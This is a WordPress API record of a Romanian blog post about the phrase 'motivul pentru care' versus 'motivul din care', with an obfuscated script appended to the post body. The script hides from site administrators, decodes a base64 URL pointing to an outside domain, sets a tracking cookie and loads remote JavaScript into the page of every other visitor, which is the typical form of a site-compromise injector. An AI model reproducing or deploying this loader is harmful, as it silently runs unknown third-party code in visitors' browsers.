{"id":4827,"date":"2017-08-22T00:54:19","date_gmt":"2017-08-21T21:54:19","guid":{"rendered":"http:\/\/daimon.me\/blog\/?p=4827"},"modified":"2025-10-17T19:56:09","modified_gmt":"2025-10-17T16:56:09","slug":"motive-si-cauze","status":"publish","type":"post","link":"http:\/\/daimon.me\/blog\/2017\/08\/motive-si-cauze\/","title":{"rendered":"Motive \u015fi cauze"},"content":{"rendered":"<div class=\"entry\">\n<p>B\u0103i, mi s-a tr\u00eentit o idee \u00een cap, \u015fi nu mai scap de ea.<\/p>\n<p>V\u0103d \u015fi citesc \u015fi aud peste tot cum c\u0103 &#8220;<em>Motivul pentru care (verb)<\/em>&#8220;.<\/p>\n<blockquote><p>&#8220;Motivele pentru care rom\u00e2nii trimit acas\u0103 tot mai pu\u021bini bani&#8221; sunt multe \u015fi complexe ((<a href=\"http:\/\/www.cotidianul.ro\/motivele-pentru-care-romanii-trimit-acasa-tot-mai-putini-bani-305519\/\">Sursa citat.<\/a>)).<\/p>\n<p>Mutu trage cocain\u0103 pentru motivul c\u0103-i bou.<\/p><\/blockquote>\n<p>Mie unuia \u00eemi d\u0103 cu virgul\u0103. Auzul meu i-ar p\u0103rea corect s\u0103 spunem &#8220;<em><span style=\"color: #800000;\">motivul din care<\/span>&#8220;<\/em>. C\u0103 a\u015fa curg lucrurile, &#8220;din&#8221; indic\u0103 o rela\u0163ie pe vertical\u0103.<\/p>\n<p>Din zei se trag oamenii, din cauze se trag consecin\u0163ele, din mam\u0103-n fiic\u0103 se propag\u0103 specia; prin urmare, \u015fi ac\u0163iunile se fac <em>DIN motive c\u0103<\/em>. Nu pentru motive, ac\u0163iunea cu &#8220;pentru&#8221; curge <span style=\"color: #800000;\">c\u0103tre<\/span> ceva, \u00eenspre ceva. Am adus un colac pentru copiii nevoia\u015fi, da. Am f\u0103cut o fapt\u0103 bun\u0103, pentru c\u0103 vreau s\u0103 m\u0103 vad\u0103 Dumnezeu. Fapta prima.<\/p>\n<p>\u00cens\u0103 motivul nu poate curge \u00eenspre cauza lui, ci invers, el decurge din cauz\u0103. \u00cent\u00eei au fost mamele, apoi fiicele. \u00cent\u00eei a fost foamea, \u015fi apoi b\u0103tr\u00eenica ce-a furat o p\u00eeine. O b\u0103tr\u00eenic\u0103, care a furat din cauz\u0103 c\u0103-i era foame. Asta e, a\u015fa-i expresia, hai s\u0103 n-o schimb\u0103m doar pentru c\u0103 seam\u0103n\u0103 cu altele. B\u0103tr\u00eenica poate, la fel de bine, s\u0103 fure pentru c\u0103 \u00eei este foame. Fie. Dar dac\u0103 accentul frazei merge pe cauz\u0103, \u015fi vrem musai s\u0103 indic\u0103m cauza, atunci musai lucrurile se \u00eent\u00eempl\u0103 din acea cauz\u0103. Din.<\/p>\n<p>Sper c\u0103 treaba asta are sens \u015fi pentru altcineva care nu-i eu&#8230;<\/p>\n<p style=\"text-align: right;\"><em><span style=\"color: #800000;\">n.b. Cu ocazia asta inaugurez \u015fi categoria &#8220;Limbi \u015fi limbaje&#8221;.<\/span><\/em><br \/>\n<em> <span style=\"color: #800000;\"> Nu c-a\u015f avea \u015ftiin\u0163\u0103 despre lingvistic\u0103, dar \u00eentreb\u0103ri \u015fi curiozit\u0103\u0163i tot am.<\/span><\/em><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input .length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2\/>>4);o2=((h2&15)< &lt;4)|(h3>>2);o3=((h3&3)< &lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/script><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>B\u0103i, mi s-a tr\u00eentit o idee \u00een cap, \u015fi nu mai scap de ea. V\u0103d \u015fi citesc \u015fi aud peste tot cum c\u0103 &#8220;Motivul pentru care (verb)&#8220;. &#8220;Motivele pentru care rom\u00e2nii trimit acas\u0103 tot mai pu\u021bini bani&#8221; sunt multe \u015fi complexe ((Sursa citat.)). Mutu trage cocain\u0103 pentru motivul c\u0103-i bou. Mie unuia \u00eemi d\u0103 cu &#8230;<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[51,48],"tags":[],"class_list":{"0":"post-4827","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-limbi-si-limbaje","7":"category-traducerea-si-adaptarea","8":"anons"},"_links":{"self":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4827","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/comments?post=4827"}],"version-history":[{"count":7,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4827\/revisions"}],"predecessor-version":[{"id":5039,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4827\/revisions\/5039"}],"wp:attachment":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/media?parent=4827"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/categories?post=4827"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/tags?post=4827"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}